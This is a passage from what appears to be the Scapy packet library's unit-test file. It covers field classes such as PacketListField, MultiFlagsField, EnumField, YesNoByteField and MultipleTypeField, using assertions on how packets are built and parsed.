TestPkt(Packet):\n    fields_desc = [ ByteField(\"f1\",65),\n                    ShortField(\"f2\",0x4244) ]\n    def extract_padding(self, p):\n        return \"\", p\n\nclass TestPLF2(Packet):\n    fields_desc = [ FieldLenField(\"len1\", None, count_of=\"plist\",fmt=\"H\",\n                                  adjust=lambda pkt,x: x + 2),\n                    FieldLenField(\"len2\", None, length_of=\"plist\", fmt=\"I\",\n                                  adjust=lambda pkt, x: (x + 1) // 2),\n                    PacketListField(\"plist\", None, TestPkt,\n                                    length_from=lambda x: (x.len2 * 2) // 3 *3) ]\n\na=TestPLF2()\nr = raw(a)\nr\nassert r == b\"\\x00\\x02\\x00\\x00\\x00\\x00\"\n\na.plist=[TestPkt(),TestPkt(f1=100)] \nr = raw(a)\nr\nassert r == b'\\x00\\x04\\x00\\x00\\x00\\x03ABDdBD'\n\na /= \"123456\"\nb = TestPLF2(raw(a))\nb.show()\nassert b.len1 == 4 and b.len2 == 3\nassert b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244\nassert b[TestPkt:2].f1 == 100\nassert Raw in b and b[Raw].load == b\"123456\"\n\na.plist.append(TestPkt(f1=200))\nb = TestPLF2(raw(a))\nb.show()\nassert b.len1 == 5 and b.len2 == 5\nassert b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244\nassert b[TestPkt:2].f1 == 100\nassert b[TestPkt:3].f1 == 200\nassert b.getlayer(TestPkt,4) is None\nassert Raw in b and b[Raw].load == b\"123456\"\nhexdiff(a,b)\nassert  raw(a) == raw(b) \n\n= Create layers for heterogeneous PacketListField\n~ field lengthfield\nTestPLFH1 = type('TestPLFH1', (Packet,), {\n    'name': 'test1',\n    'fields_desc': [ByteField('data', 0)],\n    'guess_payload_class': lambda self, p: conf.padding_layer,\n    }\n)\nTestPLFH2 = type('TestPLFH2', (Packet,), {\n    'name': 'test2',\n    'fields_desc': [ShortField('data', 0)],\n    'guess_payload_class': lambda self, p: conf.padding_layer,\n    }\n)\nclass TestPLFH3(Packet):\n    name = 'test3'\n    fields_desc = [\n        PacketListField(\n            'data', [],\n            next_cls_cb=lambda pkt, lst, p, remain: pkt.detect_next_packet(lst, p, remain)\n        )\n    ]\n    def detect_next_packet(self, lst, p, remain):\n        if len(remain) < 3:\n            return None\n        if isinstance(p, type(None)):\n            return TestPLFH1\n        if p.data & 3 == 1:\n            return TestPLFH1\n        if p.data & 3 == 2:\n            return TestPLFH2\n        return None\n\n= Test heterogeneous PacketListField\n~ field lengthfield\n\np = TestPLFH3(b'\\x02\\x01\\x01\\xc1\\x02\\x80\\x04toto')\nassert isinstance(p.data[0], TestPLFH1)\nassert p.data[0].data == 0x2\nassert isinstance(p.data[1], TestPLFH2)\nassert p.data[1].data == 0x101\nassert isinstance(p.data[2], TestPLFH1)\nassert p.data[2].data == 0xc1\nassert isinstance(p.data[3], TestPLFH1)\nassert p.data[3].data == 0x2\nassert isinstance(p.data[4], TestPLFH2)\nassert p.data[4].data == 0x8004\nassert isinstance(p.payload, conf.raw_layer)\nassert p.payload.load == b'toto'\n\np = TestPLFH3(b'\\x02\\x01\\x01\\xc1\\x02\\x80\\x02to')\nassert isinstance(p.data[0], TestPLFH1)\nassert p.data[0].data == 0x2\nassert isinstance(p.data[1], TestPLFH2)\nassert p.data[1].data == 0x101\nassert isinstance(p.data[2], TestPLFH1)\nassert p.data[2].data == 0xc1\nassert isinstance(p.data[3], TestPLFH1)\nassert p.data[3].data == 0x2\nassert isinstance(p.data[4], TestPLFH2)\nassert p.data[4].data == 0x8002\nassert isinstance(p.payload, conf.raw_layer)\nassert p.payload.load == b'to'\n\n= Create layers for heterogeneous PacketListField with memory\n~ field lengthfield\nTestPLFH4 = type('TestPLFH4', (Packet,), {\n    'name': 'test4',\n    'fields_desc': [ByteField('data', 0)],\n    'guess_payload_class': lambda self, p: conf.padding_layer,\n    }\n)\nTestPLFH5 = type('TestPLFH5', (Packet,), {\n    'name': 'test5',\n    'fields_desc': [ShortField('data', 0)],\n    'guess_payload_class': lambda self, p: conf.padding_layer,\n    }\n)\nclass TestPLFH6(Packet):\n    __slots__ = ['_memory']\n    name = 'test6'\n    fields_desc = [\n        PacketListField(\n            'data', [],\n            next_cls_cb=lambda pkt, lst, p, remain: pkt.detect_next_packet(lst, p, remain)\n        )\n    ]\n    def detect_next_packet(self, lst, p, remain):\n        if isinstance(p, type(None)):\n            self._memory = [TestPLFH4] * 3 + [TestPLFH5]\n        try:\n            return self._memory.pop(0)\n        except IndexError:\n            return None\n\n= Test heterogeneous PacketListField with memory\n~ field lengthfield\n\np = TestPLFH6(b'\\x01\\x02\\x03\\xc1\\x02toto')\nassert isinstance(p.data[0], TestPLFH4)\nassert p.data[0].data == 0x1\nassert isinstance(p.data[1], TestPLFH4)\nassert p.data[1].data == 0x2\nassert isinstance(p.data[2], TestPLFH4)\nassert p.data[2].data == 0x3\nassert isinstance(p.data[3], TestPLFH5)\nassert p.data[3].data == 0xc102\nassert isinstance(p.payload, conf.raw_layer)\nassert p.payload.load == b'toto'\n\n= Test nested PacketListFields\n~ field\n# Note: having packets that look like this is a terrible idea, and will perform\n# very badly. However we must ensure we don't freeze because of it.\n\n# https://github.com/secdev/scapy/issues/3894\n\nclass GuessPayload(Packet):\n     @classmethod\n     def dispatch_hook(cls, *args, **kargs):\n         return TestNestedPLF\n\nclass TestNestedPLF(Packet):\n     fields_desc = [\n         ByteField('b', 0),\n         PacketListField('pl', [], GuessPayload)\n     ]\n\np = TestNestedPLF(b'\\x01' * 100)\n\n# check\ni = 1\nwhile p.pl:\n    p = p.pl[0]\n    p.show()\n    i += 1\n\nassert i == 100\n\n= Test cache handling of payload modification in a PacketListField\n~ field\n\n# GH4414\nclass SubPacket(Packet):\n    fields_desc = [\n        ByteField(\"b\", 0),\n    ]\n\nclass MyPacket(Packet):\n    fields_desc = [\n        PacketListField(\"a\", [], SubPacket),\n    ]\n\n\np = MyPacket(b\"\\x00extrapayload\")\np.a[0] = SubPacket(b=0) / b\"test\"\n\nassert bytes(p) == b\"\\x00test\"\n\n= Test cache handling of payload modification in a PacketField\n~ field\n\n# also GH4414\nclass PayloadPacket(Packet):\n    fields_desc = [\n        StrField(\"b\", \"\"),\n    ]\n\nclass SubPacket(Packet):\n    fields_desc = []\n\nbind_layers(SubPacket, PayloadPacket)\n\nclass MyPacket(Packet):\n    fields_desc = [\n        PacketField(\"a\", None, SubPacket),\n    ]\n\n\ns = b'test'\np = MyPacket(s)\n\np[PayloadPacket].b = b'new'\nassert p.build() != s\n\n\n############\n############\n+ Tests on MultiFlagsField\n\n= Test calls on MultiFlagsField.any2i\n~ multiflagsfield\n\nimport collections\nMockPacket = collections.namedtuple('MockPacket', ['type'])\n\nf = MultiFlagsField('flags', set(), 3, {\n        0: {\n            0: MultiFlagsEntry('A', 'OptionA'),\n            1: MultiFlagsEntry('B', 'OptionB'),\n        },\n        1: {\n            0: MultiFlagsEntry('+', 'Plus'),\n            1: MultiFlagsEntry('*', 'Star'),\n        },\n    },\n    depends_on=lambda x: x.type\n)\n\nmp = MockPacket(0)\nx = f.any2i(mp, set())\nassert isinstance(x, set)\nassert len(x) == 0\nx = f.any2i(mp, {'A'})\nassert isinstance(x, set)\nassert len(x) == 1\nassert 'A' in x\nassert 'B' not in x\nassert '+' not in x\nx = f.any2i(mp, {'A', 'B'})\nassert isinstance(x, set)\nassert len(x) == 2\nassert 'A' in x\nassert 'B' in x\nassert '+' not in x\nassert '*' not in x\nx = f.any2i(mp, 3)\nassert isinstance(x, set)\nassert len(x) == 2\nassert 'A' in x\nassert 'B' in x\nassert '+' not in x\nassert '*' not in x\nx = f.any2i(mp, 7)\nassert isinstance(x, set)\nassert len(x) == 3\nassert 'A' in x\nassert 'B' in x\nassert 'bit 2' in x\nassert '+' not in x\nassert '*' not in x\nmp = MockPacket(1)\nx = f.any2i(mp, {'+', '*'})\nassert isinstance(x, set)\nassert len(x) == 2\nassert '+' in x\nassert '*' in x\nassert 'A' not in x\nassert 'B' not in x\ntry:\n    x = f.any2i(mp, {'A'})\n    ret = False\nexcept AssertionError:\n    ret = True\n\nassert ret\n#Following test demonstrate a non-sensical yet acceptable usage :(\nx = f.any2i(None, {'Toto'})\nassert 'Toto' in x\n\n= Test calls on MultiFlagsField.i2m\n~ multiflagsfield\n\nimport collections\nMockPacket = collections.namedtuple('MockPacket', ['type'])\n\nf = MultiFlagsField('flags', set(), 3, {\n        0: {\n            0: MultiFlagsEntry('A', 'OptionA'),\n            1: MultiFlagsEntry('B', 'OptionB'),\n        },\n        1: {\n            0: MultiFlagsEntry('+', 'Plus'),\n            1: MultiFlagsEntry('*', 'Star'),\n        },\n    },\n    depends_on=lambda x: x.type\n)\n\nmp = MockPacket(0)\nx = f.i2m(mp, set())\nassert isinstance(x, int)\nassert x == 0\nx = f.i2m(mp, {'A'})\nassert isinstance(x, int)\nassert x == 1\nx = f.i2m(mp, {'A', 'B'})\nassert isinstance(x, int)\nassert x == 3\nx = f.i2m(mp, {'A', 'B', 'bit 2'})\nassert isinstance(x, int)\nassert x == 7\ntry:\n    x = f.i2m(mp, {'+'})\n    ret = False\nexcept:\n    ret = True\n\nassert ret\n\n= Test calls on MultiFlagsField.m2i\n~ multiflagsfield\n\nimport collections\nMockPacket = collections.namedtuple('MockPacket', ['type'])\n\nf = MultiFlagsField('flags', set(), 3, {\n        0: {\n            0: MultiFlagsEntry('A', 'OptionA'),\n            1: MultiFlagsEntry('B', 'OptionB'),\n        },\n        1: {\n            0: MultiFlagsEntry('+', 'Plus'),\n            1: MultiFlagsEntry('*', 'Star'),\n        },\n    },\n    depends_on=lambda x: x.type\n)\n\nmp = MockPacket(0)\nx = f.m2i(mp, 2)\nassert isinstance(x, set)\nassert len(x) == 1\nassert 'B' in x\nassert 'A' not in x\nassert '*' not in x\n\nx = f.m2i(mp, 7)\nassert isinstance(x, set)\nassert 'B' in x\nassert 'A' in x\nassert 'bit 2' in x\nassert '*' not in x\nassert '+' not in x\nx = f.m2i(mp, 0)\nassert len(x) == 0\nmp = MockPacket(1)\nx = f.m2i(mp, 2)\nassert isinstance(x, set)\nassert len(x) == 1\nassert '*' in x\nassert '+' not in x\nassert 'B' not in x\n\n= Test calls on MultiFlagsField.i2repr\n~ multiflagsfield\n\nimport collections, re\nMockPacket = collections.namedtuple('MockPacket', ['type'])\n\nf = MultiFlagsField('flags', set(), 3, {\n        0: {\n            0: MultiFlagsEntry('A', 'OptionA'),\n            1: MultiFlagsEntry('B', 'OptionB'),\n        },\n        1: {\n            0: MultiFlagsEntry('+', 'Plus'),\n            1: MultiFlagsEntry('*', 'Star'),\n        },\n    },\n    depends_on=lambda x: x.type\n)\n\nmp = MockPacket(0)\nx = f.i2repr(mp, {'A', 'B'})\nassert re.match(r'^.*OptionA \\(A\\).*$', x) is not None\nassert re.match(r'^.*OptionB \\(B\\).*$', x) is not None\nmp = MockPacket(1)\nx = f.i2repr(mp, {'*', '+', 'bit 2'})\nassert re.match(r'^.*Star \\(\\*\\).*$', x) is not None\nassert re.match(r'^.*Plus \\(\\+\\).*$', x) is not None\nassert re.match(r'^.*bit 2.*$', x) is not None\n\n############\n############\n+ EnumField tests\n\n= EnumField tests initialization\n\n# Basic EnumField\nf = EnumField('test', 0, {0: 'Foo', 1: 'Bar'})\n# Reverse i2s/s2i\nrf = EnumField('test', 0, {'Foo': 0, 'Bar': 1})\n# EnumField initialized with a list\nlf = EnumField('test', 0, ['Foo', 'Bar'])\n# EnumField with i2s_cb/s2i_cb\nfcb = EnumField('test', 0, (\n        lambda x: 'Foo' if x == 0 else 'Bar' if 1 <= x <= 10 else repr(x),\n        lambda x: 0 if x == 'Foo' else 1 if x == 'Bar' else int(x),\n    )\n)\n\ndef expect_exception(e, c):\n    try:\n        eval(c)\n        assert False\n    except e:\n        assert True\n\n\n= EnumField.any2i_one\n~ field enumfield\n\nassert f.any2i_one(None, 'Foo') == 0\nassert f.any2i_one(None, 'Bar') == 1\nassert f.any2i_one(None, 2) == 2\nexpect_exception(KeyError, 'f.any2i_one(None, \"Baz\")')\n\nassert rf.any2i_one(None, 'Foo') == 0\nassert rf.any2i_one(None, 'Bar') == 1\nassert rf.any2i_one(None, 2) == 2\nexpect_exception(KeyError, 'rf.any2i_one(None, \"Baz\")')\n\nassert lf.any2i_one(None, 'Foo') == 0\nassert lf.any2i_one(None, 'Bar') == 1\nassert lf.any2i_one(None, 2) == 2\nexpect_exception(KeyError, 'lf.any2i_one(None, \"Baz\")')\n\nassert fcb.any2i_one(None, 'Foo') == 0\nassert fcb.any2i_one(None, 'Bar') == 1\nassert fcb.any2i_one(None, 5) == 5\nexpect_exception(ValueError, 'fcb.any2i_one(None, \"Baz\")')\n\n= EnumField.any2i\n~ field enumfield\n\nassert f.any2i(None, 'Foo') == 0\nassert f.any2i(None, 'Bar') == 1\nassert f.any2i(None, 2) == 2\nexpect_exception(KeyError, 'f.any2i(None, \"Baz\")')\nassert f.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2]\n\nassert rf.any2i(None, 'Foo') == 0\nassert rf.any2i(None, 'Bar') == 1\nassert rf.any2i(None, 2) == 2\nexpect_exception(KeyError, 'rf.any2i(None, \"Baz\")')\nassert rf.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2]\n\nassert lf.any2i(None, 'Foo') == 0\nassert lf.any2i(None, 'Bar') == 1\nassert lf.any2i(None, 2) == 2\nexpect_exception(KeyError, 'lf.any2i(None, \"Baz\")')\nassert lf.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2]\n\nassert fcb.any2i(None, 'Foo') == 0\nassert fcb.any2i(None, 'Bar') == 1\nassert fcb.any2i(None, 5) == 5\nexpect_exception(ValueError, 'fcb.any2i(None, \"Baz\")')\nassert f.any2i(None, ['Foo', 'Bar', 5]) == [0, 1, 5]\n\nTrue\n\n= EnumField.i2repr_one\n~ field enumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '2'\n\nassert rf.i2repr_one(None, 0) == 'Foo'\nassert rf.i2repr_one(None, 1) == 'Bar'\nassert rf.i2repr_one(None, 2) == '2'\n\nassert lf.i2repr_one(None, 0) == 'Foo'\nassert lf.i2repr_one(None, 1) == 'Bar'\nassert lf.i2repr_one(None, 2) == '2'\n\nassert fcb.i2repr_one(None, 0) == 'Foo'\nassert fcb.i2repr_one(None, 1) == 'Bar'\nassert fcb.i2repr_one(None, 5) == 'Bar'\nassert fcb.i2repr_one(None, 11) == repr(11)\n\nconf.noenum.add(f, rf, lf, fcb)\n\nassert f.i2repr_one(None, 0) == repr(0)\nassert f.i2repr_one(None, 1) == repr(1)\nassert f.i2repr_one(None, 2) == repr(2)\n\nassert rf.i2repr_one(None, 0) == repr(0)\nassert rf.i2repr_one(None, 1) == repr(1)\nassert rf.i2repr_one(None, 2) == repr(2)\n\nassert lf.i2repr_one(None, 0) == repr(0)\nassert lf.i2repr_one(None, 1) == repr(1)\nassert lf.i2repr_one(None, 2) == repr(2)\n\nassert fcb.i2repr_one(None, 0) == repr(0)\nassert fcb.i2repr_one(None, 1) == repr(1)\nassert fcb.i2repr_one(None, 5) == repr(5)\nassert fcb.i2repr_one(None, 11) == repr(11)\n\nconf.noenum.remove(f, rf, lf, fcb)\n\nassert f.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert rf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert lf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert fcb.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\n\nTrue\n\n= EnumField.i2repr\n~ field enumfield\n\nassert f.i2repr(None, 0) == 'Foo'\nassert f.i2repr(None, 1) == 'Bar'\nassert f.i2repr(None, 2) == '2'\nassert f.i2repr(None, [0, 1]) == ['Foo', 'Bar']\n\nassert rf.i2repr(None, 0) == 'Foo'\nassert rf.i2repr(None, 1) == 'Bar'\nassert rf.i2repr(None, 2) == '2'\nassert rf.i2repr(None, [0, 1]) == ['Foo', 'Bar']\n\nassert lf.i2repr(None, 0) == 'Foo'\nassert lf.i2repr(None, 1) == 'Bar'\nassert lf.i2repr(None, 2) == '2'\nassert lf.i2repr(None, [0, 1]) == ['Foo', 'Bar']\n\nassert fcb.i2repr(None, 0) == 'Foo'\nassert fcb.i2repr(None, 1) == 'Bar'\nassert fcb.i2repr(None, 5) == 'Bar'\nassert fcb.i2repr(None, 11) == repr(11)\nassert fcb.i2repr(None, [0, 1, 5, 11]) == ['Foo', 'Bar', 'Bar', repr(11)]\n\nconf.noenum.add(f, rf, lf, fcb)\n\nassert f.i2repr(None, 0) == repr(0)\nassert f.i2repr(None, 1) == repr(1)\nassert f.i2repr(None, 2) == repr(2)\nassert f.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]\n\nassert rf.i2repr(None, 0) == repr(0)\nassert rf.i2repr(None, 1) == repr(1)\nassert rf.i2repr(None, 2) == repr(2)\nassert rf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]\n\nassert lf.i2repr(None, 0) == repr(0)\nassert lf.i2repr(None, 1) == repr(1)\nassert lf.i2repr(None, 2) == repr(2)\nassert lf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)]\n\nassert fcb.i2repr(None, 0) == repr(0)\nassert fcb.i2repr(None, 1) == repr(1)\nassert fcb.i2repr(None, 5) == repr(5)\nassert fcb.i2repr(None, 11) == repr(11)\nassert fcb.i2repr(None, [0, 1, 5, 11]) == [repr(0), repr(1), repr(5), repr(11)]\n\nconf.noenum.remove(f, rf, lf, fcb)\n\nassert f.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert rf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert lf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\nassert fcb.i2repr_one(None, RandNum(0, 10)) == '<RandNum>'\n\nTrue\n\n= EnumField with Enum\nfrom enum import Enum\n\nclass JUICE(Enum):\n    APPLE = 0\n    ORANGE = 1\n    PINEAPPLE = 2\n\n\nclass Breakfast(Packet):\n    fields_desc = [EnumField(\"juice\", 1, JUICE, fmt=\"H\")]\n\n\nassert raw(Breakfast(juice=\"ORANGE\")) == b\"\\x00\\x01\"\n\n= LE3BytesEnumField\n~ field le3bytesenumfield\n\nf = LE3BytesEnumField('test', 0, {0: 'Foo', 1: 'Bar'})\n\n= LE3BytesEnumField.i2repr_one\n~ field le3bytesenumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '2'\n\n= XLE3BytesEnumField\n\nassert XLE3BytesEnumField(\"a\", 0, {0: \"test\"}).i2repr_one(None, 0) == \"test\"\nassert XLE3BytesEnumField(\"a\", 0, {0: \"test\"}).i2repr_one(None, 1) == \"0x1\"\n\n############\n############\n+ CharEnumField tests\n\n= Building expect_exception handler\n~ field charenumfield\n\ndef expect_exception(e, c):\n    try:\n        eval(c)\n        assert False\n    except e:\n        assert True\n\n\n= CharEnumField tests initialization\n~ field charenumfield\n\nfc = CharEnumField('test', 'f', {'f': 'Foo', 'b': 'Bar'})\nfcb = CharEnumField('test', 'a', (\n    lambda x: 'Foo' if x == 'a' else 'Bar' if x == 'b' else 'Baz',\n    lambda x: 'a' if x == 'Foo' else 'b' if x == 'Bar' else ''\n))\n\nTrue\n\n= CharEnumField.any2i_one\n~ field charenumfield\n\nassert fc.any2i_one(None, 'Foo') == 'f'\nassert fc.any2i_one(None, 'Bar') == 'b'\nexpect_exception(KeyError, 'fc.any2i_one(None, \"Baz\")')\n\nassert fcb.any2i_one(None, 'Foo') == 'a'\nassert fcb.any2i_one(None, 'Bar') == 'b'\nassert fcb.any2i_one(None, 'Baz') == ''\n\nTrue\n\n############\n############\n+ XByteEnumField tests\n\n= Building expect_exception handler\n~ field xbyteenumfield\n\ndef expect_exception(e, c):\n    try:\n        eval(c)\n        assert False\n    except e:\n        assert True\n\n\n= XByteEnumField tests initialization\n~ field xbyteenumfield\n\nf = XByteEnumField('test', 0, {0: 'Foo', 1: 'Bar'})\nfcb = XByteEnumField('test', 0, (\n    lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x),\n    lambda x: x\n))\n\nTrue\n\n= XByteEnumField.i2repr_one\n~ field xbyteenumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nTrue\n\n= XByteEnumField update tests initialization\n~ field xbyteenumfield\nenum = ObservableDict({0: 'Foo', 1: 'Bar'})\nf = XByteEnumField('test', 0, enum)\nfcb = XByteEnumField('test', 0, (\n    lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x),\n    lambda x: x\n))\n\nTrue\n\n= XByteEnumField.i2repr_one with update\n~ field xbyteenumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '0x2'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '0x2'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\ndel enum[1]\nenum[2] = 'Baz'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == '0x1'\nassert f.i2repr_one(None, 2) == 'Baz'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == '0x1'\nassert f.i2repr_one(None, 2) == 'Baz'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nTrue\n\n############\n############\n+ XShortEnumField tests\n\n= Building expect_exception handler\n~ field xshortenumfield\n\ndef expect_exception(e, c):\n    try:\n        eval(c)\n        assert False\n    except e:\n        assert True\n\n\n= XShortEnumField tests initialization\n~ field xshortenumfield\n\nf = XShortEnumField('test', 0, {0: 'Foo', 1: 'Bar'})\nfcb = XShortEnumField('test', 0, (\n    lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x),\n    lambda x: x\n))\n\nTrue\n\n= XShortEnumField.i2repr_one\n~ field xshortenumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nTrue\n\n= XShortEnumField update tests initialization\n~ field xshortenumfield\nenum = ObservableDict({0: 'Foo', 1: 'Bar'})\nf = XShortEnumField('test', 0, enum)\nfcb = XShortEnumField('test', 0, (\n    lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x),\n    lambda x: x\n))\n\nTrue\n\n= XShortEnumField.i2repr_one with update\n~ field xshortenumfield\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '0x2'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == 'Bar'\nassert f.i2repr_one(None, 2) == '0x2'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\ndel enum[1]\nenum[2] = 'Baz'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == '0x1'\nassert f.i2repr_one(None, 2) == 'Baz'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nassert f.i2repr_one(None, 0) == 'Foo'\nassert f.i2repr_one(None, 1) == '0x1'\nassert f.i2repr_one(None, 2) == 'Baz'\nassert f.i2repr_one(None, 0xff) == '0xff'\n\nTrue\n\n############\n############\n+ DNSStrField tests\n\n= Raise exception - test data\n\ndnsf = DNSStrField(\"test\", \"\")\nassert dnsf.getfield(None, b\"\\x01x\\x00\") == (b\"\", b\"x.\")\n\ntry:\n    dnsf.getfield(None, b\"\\xc0\\xff\")\n    assert False\nexcept (Scapy_Exception, IndexError):\n    pass\n\n+ YesNoByteField\n\n= default usage\n\nyn_bf = YesNoByteField('test', 0x00)\nassert yn_bf.i2repr(None, 0x00) == 'no'\nassert yn_bf.i2repr(None, 0x01) == 'yes'\nassert yn_bf.i2repr(None, 0x02) == 'yes'\nassert yn_bf.i2repr(None, 0xff) == 'yes'\n\n= inverted yes - no (scalar config)\nyn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': 0x01})\nassert yn_bf.i2repr(None, 0x00) == 'yes'\nassert yn_bf.i2repr(None, 0x01) == 'no'\nassert yn_bf.i2repr(None, 0x02) == 2\nassert yn_bf.i2repr(None, 0xff) == 255\n\n= inverted yes - no (range config)\nyn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': (0x01, 0xff)})\nassert yn_bf.i2repr(None, 0x00) == 'yes'\nassert yn_bf.i2repr(None, 0x01) == 'no'\nassert yn_bf.i2repr(None, 0x02) == 'no'\nassert yn_bf.i2repr(None, 0xff) == 'no'\n\n= yes - no (using sets)\nyn_bf = YesNoByteField('test', 0x00, config={'yes': [0x00, 0x02], 'no': [0x01, 0x04, 0xff]})\nassert yn_bf.i2repr(None, 0x00) == 'yes'\nassert yn_bf.i2repr(None, 0x01) == 'no'\nassert yn_bf.i2repr(None, 0x02) == 'yes'\nassert yn_bf.i2repr(None, 0x03) == 3\nassert yn_bf.i2repr(None, 0x04) == 'no'\nassert yn_bf.i2repr(None, 0x05) == 5\nassert yn_bf.i2repr(None, 0xff) == 'no'\n\n= yes, no and invalid\nyn_bf = YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 0x01, 'invalid': (0x02, 0xff)})\nassert yn_bf.i2repr(None, 0x00) == 'no'\nassert yn_bf.i2repr(None, 0x01) == 'yes'\nassert yn_bf.i2repr(None, 0x02) == 'invalid'\nassert yn_bf.i2repr(None, 0xff) == 'invalid'\n\n= invalid scalar spec\n\ntry:\n    YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 256})\n    assert False\nexcept FieldValueRangeException:\n    pass\n\n= invalid range spec - invalid length\n\ntry:\n    YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x02, 0x02)})\n    assert False\nexcept FieldAttributeException:\n    pass\n\n= invalid range spec - invalid value\n\ntry:\n    YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x100, 0x01)})\n    assert False\nexcept FieldValueRangeException:\n    pass\n\ntry:\n    YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x100)})\n    assert False\nexcept FieldValueRangeException:\n    pass\n\n= invalid set spec - invalid value\n\ntry:\n    YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': [0x01, 0x101]})\n    assert False\nexcept FieldValueRangeException:\n    pass\n\n= FlasgField - Python incompatible name\n\nassert Dot11().FCfield.to_DS is False\n\n########\n########\n+ MultipleTypeField\n~ mtf\n\n= Test initialization order\n\nclass DebugPacket(Packet):\n    fields_desc = [\n        ByteEnumField(\"atyp\", 0x1, {0x1: \"IPv4\", 0x3: \"DNS\", 0x4: \"IPv6\"}),\n        MultipleTypeField(\n            [\n                # IPv4\n                (IPField(\"addr\", \"0.0.0.0\"), lambda pkt: pkt.atyp == 0x1),\n                # DNS\n                (DNSStrField(\"addr\", \"\"), lambda pkt: pkt.atyp == 0x3),\n                # IPv6\n                (IP6Field(\"addr\", \"::\"), lambda pkt: pkt.atyp == 0x4),\n            ],\n            StrField(\"addr\", \"\")\n        ),\n    ]\n\n= Default order\n\na = DebugPacket(atyp=0x3, addr=\"scapy.net\")\na = DebugPacket(raw(a))\nassert a.addr == b\"scapy.net.\"\n\n= Reversed order\n\na = DebugPacket(addr=\"scapy.net\", atyp=0x3)\na = DebugPacket(raw(a))\nassert a.addr == b\"scapy.net.\"\n\n= Test default values auto-update\n\nclass SweetPacket(Packet):\n    name = 'Sweet Celestian Packet'\n    fields_desc = [\n        IntField('switch', 0),\n        MultipleTypeField([\n            (XShortField('subfield', 0xDEAD), lambda pkt: pkt.switch == 1),\n            (XIntField('subfield',  0xBEEFBEEF), lambda pkt: pkt.switch == 2)],\n            XByteField('subfield', 0x88)\n        )\n    ]\n\no = SweetPacket()\nassert o.subfield == 0x88\n\no = SweetPacket(switch=1)\nassert o.subfield == 0xDEAD\n\no = SweetPacket(switch=2)\nassert o.subfield == 0xBEEFBEEF\n\no = SweetPacket()\nassert o.subfield == 0x88\no.switch = 1\nassert o.subfield == 0xDEAD\no.switch = 2\nassert o.subfield == 0xBEEFBEEF\n\no = SweetPacket(switch=1, subfield=0x88)\nassert o.subfield == 0x88\n\n= MultipleTypeField - syntax error\n\nimport warnings\n\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter(\"always\")\n    class MTFPacket(Packet):\n        fields_desc = [ByteField(\"a\", 0),\n                       MultipleTypeField([\n                           (ByteField(\"b\", 0), lambda pkt: pkt.a == 0),\n                           (ShortField(\"not_b\", 0), lambda: pkt.a != 0),\n                       ], IntField(\"b\", 0))]\n    assert len(w) == 1\n    assert issubclass(w[-1].category, SyntaxWarning)\n\n\n########\n########\n+ FlagsField\n\n= Test Flags Field Iterator\n\nclass FlagsTest(Packet):\n    fields_desc = [FlagsField(\"flags\", 0, 8,\n                              [\"f0\", \"f1\", \"f2\", \"f3\", 